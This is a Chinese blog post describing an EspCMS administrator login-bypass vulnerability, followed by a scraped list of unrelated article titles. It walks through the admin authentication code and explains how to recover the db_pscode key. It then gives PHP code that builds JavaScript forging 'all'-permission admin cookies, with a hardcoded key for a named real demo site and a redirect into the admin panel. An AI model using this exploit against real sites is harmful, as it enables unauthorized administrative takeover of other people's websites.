之前4月13日在360的漏洞平台提交过一次,当时给出了能计算出db_pscode的利用工具。db_pscode是安装的时候随机生成的一个字符串常量,保存在配置文件里。4月22日,官方发布了新版本,改进了程序安装时候生成db_pscode的方法,"修复了"该漏洞。其实官方只是防住了当时的那个exp,并没有从根本上防住漏洞。22日之前是32位的md5hash字符串,这次长度变的不固定可以是1-39位的字符串,但是依然可以逆向出来,这里还是以后台绕过的方法来利用这个漏洞。

先看一下EspCMS后台的验证流程

管理的主界面important类的构造函数:

//adminsoft/management.php

class important extends connector {

function important() {

$this->softbase(true); //构造函数调用了父类中的softbase函数,softbase函数又调用了admin_purview函数来验证登录状态

}

---

//父类 connector中的softbase函数

// public/class_connector.php

class connector {

function softbase($admin_purview = false) {

header("Content-Type: text/html; charset=utf-8");

$this->dbmysql();

$this->commandinc();

$this->systemfile();

$this->cachedb();

if ($admin_purview) {

$this->admin_purview(); //这里会验证管理员是否已经登录

$this->sitelng = $this->getlng();

$action = $this->fun->accept('action', 'R');

if (in_array($action, $this->esp_powerlist) && !in_array('all', $this->esp_powerlist)) {

exit('Permissions errors'); //$this->esp_powerlist权限列表 这里设置成all就ok了

}

}

.....

// public/class_connector.php

function admin_purview() {

if ($this->fun->accept('archive', 'R') == 'filemanage' && $this->fun->accept('action', 'R') == 'batupfilesave') {

$ecisp_admininfo = $this->fun->accept('ecisp_admininfo', 'G');

$esp_powerlist = $this->fun->accept('esp_powerlist', 'G');

$gettype = false;

} else {

$ecisp_admininfo = $this->fun->accept('ecisp_admininfo', 'C');

$esp_powerlist = $this->fun->accept('esp_powerlist', 'C');

$gettype = true; //上面的两个数据可以从 cookie 和get的参数中获取

//我们还是直接从cookie入手吧,一是隐蔽啊,来无影去无踪,二是能保存参数值

//$esp_powerlist 是权限列表 我们让这里 解码后是 all 也就是拥有所有权限的管理员

//$ecisp_admininfo保存着管理员的一些信息

}

//下面的db_pscode 我们已经能够控制了,$ecisp_admininfo我们可以自己构造,进一步控制 $arr_purview 和 $this->esp_powerlist

$arr_purview = explode('|', $this->fun->eccode($ecisp_admininfo, 'DECODE', db_pscode));

$this->esp_powerlist = explode('|', $this->fun->eccode($esp_powerlist, 'DECODE', db_pscode));

// "1|c4rp3nt3r|12345678901234567890123456789012|md5('Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101') |1|management|".ms5('http://scan.hackme.info/espcms/adminsoft/');

list($this->esp_adminuserid, $this->esp_username, $this->esp_password, $this->esp_useragent, $this->esp_powerid, $this->esp_inputclassid, $this->esp_softurl) = $arr_purview;

if ($gettype) {

//cookie提交的参数 程序就进到这里 只要满足下面的条件 使 $condition = 1; 那么就通过了管理员验证

//这里的问题是所有数据没有再一次进入到数据库验证(如果验证的话估计会产生SQL注入:)

//我们构造 $this->esp_username = 'c4rp3nt3r'; $this->esp_adminuserid = '1';$this->esp_softurl是后台地址已知的

if (empty($this->esp_username) || empty($this->esp_adminuserid) || md5(admin_AGENT) != $this->esp_useragent || md5(admin_ClassURL) != $this->esp_softurl) {

$condition = 0;

} else {

$condition = 1;

}

} else {

if (empty($this->esp_username) || empty($this->esp_adminuserid) || md5(admin_ClassURL) != $this->esp_softurl) {

$condition = 0;

} else {

$condition = 1;

}

}

if ($condition == 0) {

if ($this->fun->accept('archive', 'R') != 'adminuser' && $this->fun->accept('action', 'R') != 'login') {

header('location: index.php?archive=adminuser&action=login');

exit();

}

} else { //通过了管理员验证 :-)

if ($condition == 1 && $this->fun->accept('point', 'R') == '' && $this->fun->accept('archive', 'R') == '' && $this->fun->accept('action', 'R') == '') {

header('location: index.php?archive=management&action=tab&loadfun=mangercenter&out=tabcenter');

exit();

}

}

}

这里关键是 $this->fun->eccode() 这个函数的解密密钥 db_pscode 的获取了。

通过对比明文和密文可以逆向出这个值:

为了不必要的误会和麻烦,这里就不给出计算db_pscode的具体代码了。说下方法吧:

通过useragent 和 网站根目录网址就能逆向出超过66位的字符串值。

0422后db_pscode长度如果在32位之内也可以通过别的地方如发送验证邮件的地方获得32位的验证码。

总之N多方法。

这里直接给出后台绕过的javascript利用代码的生成代码:

// code by c4rp3nt3r@0x50sec.org

$admin_AGENT = $_SERVER['HTTP_USER_AGENT'];

//

$admin_ClassURL = 'http://demo.ecisp.cn/adminsoft';

$key = "b229c152dsafsdafasfsadfasfdsfcbda220a9c5"; // http://demo.ecisp.cn 这个网站的 db_pscode (20130425)

//

$powerlist = 'all';

$admininfo = '1|espcmsadmin|cccccccccccccccccccccccccccccccc|'.md5($admin_AGENT).'|1|1|'.md5($admin_ClassURL);

$esp_powerlist = eccode($powerlist ,'ENCODE', $key);

$ecisp_admininfo = eccode($admininfo, 'ENCODE', $key);

$exploit = '';

$exploit = "document.cookie='esp_powerlist=$esp_powerlist';\n";

$exploit .= "document.cookie='ecisp_admininfo=$ecisp_admininfo';\n";

$exploit .= "//alert(document.cookie);\n";

$exploit .= "window.location.href='".$admin_ClassURL."/index.php?archive=management&action=tab&loadfun=mangercenter&out=tabcenter'; \n";

echo "

".$exploit."

";

function eccode($string, $operation = 'DECODE', $key = '@LFK24s224%@safS3s%1f%') {

$result = '';

//echo '^'.$key."^\n";

if ($operation == 'ENCODE') {

for ($i = 0; $i < strlen($string); $i++) {

$char = substr($string, $i, 1);

$keychar = substr($key, ($i % strlen($key)) - 1, 1);

$char = chr(ord($char) + ord($keychar));

$result.=$char;

}

$result = base64_encode($result);

$result = str_replace(array('+', '/', '='), array('-', '_', ''), $result);

} elseif ($operation == 'DECODE') {

$data = str_replace(array('-', '_'), array('+', '/'), $string);

$mod4 = strlen($data) % 4;

if ($mod4) {

$data .= substr('====', $mod4);

}

$string = base64_decode($data);

for ($i = 0; $i < strlen($string); $i++) {

$char = substr($string, $i, 1);

$keychar = substr($key, ($i % strlen($key)) - 1, 1);

$char = chr(ord($char) - ord($keychar));

$result.=$char;

}

}

return $result;

}

php绕过管理员登录,EspCMS后台登录绕过漏洞再利用相关推荐

  1. tp6实现商城后台登录功能

    后台登录逻辑 1.没有登录状态,访问后台页面都应该跳转到登录页 已经登录状态: 1.访问登录页面,应该跳转到后台首页 解决方案: 后台登录拦截: 1.传统common/base.php控制器,后台控制 ...

  2. 友点 CMS V9.1 后台登录绕过 GetShell

    声明:本公众号大部分文章来黑白之间安全团队成员的实战经验以及学习积累,文章内公布的漏洞或者脚本都来自互联网,未经授权,严禁转载. 请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作 ...

  3. discuz admin.php无法登录,忘记管理员密码无法登录Discuz后台管理员的解决方法汇总...

    Discuz管理员无法登陆后台的情况有多种下面会对这些问题提供一些解决方法:也会有可以登陆前台却无法登陆后台的一系列解决办法,下面是无忧主机小编总结的其中方法,希望对大家有所帮助. 1.管理员用户组变 ...

  4. Python自动化测试之cookie绕过登录(保持登录状态)

    目录 前言 cookie工作原理 cookie绕过登录 1,哪些场景需要使用cookie绕过登录? 2,接下来举例说明怎样编写python脚本,利用cookie机制绕过登录. 3,思路: 4,实际操作 ...

  5. 第一次CTF【后台登录、简单的sql注入之、简单的sql注入之2、猫抓老鼠、i春秋 文件上传】

    后台登录 http://ctf5.shiyanbar.com/web/houtai/ffifdyop.php 根据md5($password,true)最后要得到原始二进制字符串,要含有or ,在or ...

  6. 管理员用户不同身份登录页面代码PHP,wordpress管理员登录和普通用户登录后跳转到不同页面-♚付涛纪实阁♚...

    这篇文章将向您展示WordPress用户登录后如何重定向到指定页面或者文章的技巧. 一.重定向到网站管理面板. 将以下代码添加到您的当前主题的 functions.php 文件中 二.重定向到指定页面 ...

  7. esxi虚拟机的显卡怎么来的_远程映射图形界面,登录ESXI后台管理,更加方便操作...

    一般情况下,在配置好ESXI后,就不需要再使用它的后台管理界面,虚拟机的配置和管理只要通过WEB就可以进行,主机一般也放在远离桌面的地方.但有时需要更改ESXI的管理接口IP地址或其他需要登录管理后台 ...

  8. 青少年编程教育平台后台—登录注册(界面设计)

    青少年编程教育平台后台-登录注册(界面设计) 本界面使用HTML和CSS,未使用任何框架! 一.效果截图 二.HTML <!DOCTYPE html> <html><he ...

  9. Fastadmin隐藏后台登录入口地址?

    我们都知道后台/admin是我们最常用的登录入口,方便的同时也留下了隐患,如果你刚好使用了admin/123456这种账号密码的方式,会导致我们的后台完全暴露在外. 因此我们建议修改后台的登录入口,达 ...

最新文章

  1. byte[]数组下标的最大值
  2. Flex/Flash Builder里实用但被忽略的编译参数
  3. 【iCore4 双核心板_ARM】例程五:SYSTICK定时器 实验——定时点亮LED
  4. pycharm的演示模式、无干扰模式、全屏模式(presentation mode、distraction free mode、full screen mode)
  5. matplotlib包画基本的图
  6. 2012年我读过的十本好书
  7. 从 ThreadLocal 到 AsyncLocal
  8. 公司网页添加旺旺,状态不正确
  9. Codeblocks 开发板调试简单教程
  10. 【知识】OpenStack计算设施----Nova
  11. python面试题之什么是PEP8规范
  12. Failed to connect to github.com port 443 after 21505 ms: Timed out
  13. HTML 表格表单代码实例(个人简介表)
  14. HTML5七夕情人节表白网页制作【雪花爱心】HTML+CSS+JavaScript 爱心代码 爱心制作 表白代码 告白网页制作
  15. FaShop-开源拖拽式小程序搭建平台
  16. 吉他指弹入门——日式指弹的pm技巧
  17. 颜色匹配 opencv版
  18. 开发中常用的几种 Content-Type以及图片上传前后端分离开发处理方式
  19. Matlab实现蚂蚁群算法
  20. Polar码的C语言实现之比特反序重排篇

热门文章

  1. 关于安装busybox问题
  2. Flash制作网页广告的并添加点击统计事件
  3. 7个等级 容灾等级_高可用性及容灾的几个衡量指标
  4. 【玩转微信公众平台之一】序章(纯粹扯淡)
  5. 乐视电视s50 android,乐视电视机怎么样 乐视S50电视特点介绍【详解】
  6. 印制电路板表面镀覆技术
  7. 信息系统安全等级保护定级报
  8. PPT如何添加删除线
  9. java 扫描文件测试_适用于Java开发人员的微服务:安全测试和扫描
  10. deepin安装中州韵输入法